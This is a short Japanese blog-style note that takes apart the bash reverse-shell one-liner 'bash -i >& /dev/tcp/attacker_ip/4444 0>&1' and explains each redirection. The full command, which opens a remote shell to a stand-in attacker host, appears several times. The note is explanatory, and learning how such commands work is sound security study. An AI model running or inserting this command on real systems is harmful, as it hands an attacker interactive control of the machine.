🔙

bash -i >& /dev/tcp/attacker_ip/4444 0>&1の解釈

に公開

リバースシェルの構文について1週間くらい悩んでいたのでメモ。

  • bash -i

対話形式(-i)のbashを起動

  • コマンド >& ファイル名

Aの標準出力と標準エラー出力をBに送る。

  • /dev/tcp/attacker_ip/4444

attacker_ipのポート番号4444の指定

  • 0>&1

「標準入力を、標準出力と同じ場所(ソケット)から受け取るようにする」リダイレクト。

  • bash -i >& /dev/tcp/attacker_ip/4444

対話形式のbashの標準出力と標準エラー出力をattacker_ipのポート番号4444(攻撃者のマシン)に送る

つまりbashで出力される内容とエラーが攻撃先のポートの送られるということ。

  • bash -i >& /dev/tcp/attacker_ip/4444 0>&1

最後に0>&1を付けることで、bash -iの標準入力も、標準出力と同じ経路に設定。

これにより攻撃者のマシンとやり取りできないリモートの標準入力も、標準出力と同じようにやり取りができるようになり、攻撃者のマシンから操作ができるようになる。

結論

リバースシェル、bash -i >& /dev/tcp/attacker_ip/4444 0>&1は、

bash -i(コマンド) >& /dev/tcp/attacker_ip/4444(ファイル名) 0>&1(リダイレクト構文)

で構成されている。

外のlinuxのコマンドの構文も、コマンド >& ファイル名 0>&1(リダイレクト構文)までがコマンドの基本。(これ以上増やしても見づらくなるだけでやる意味はあまりない。)

Discussion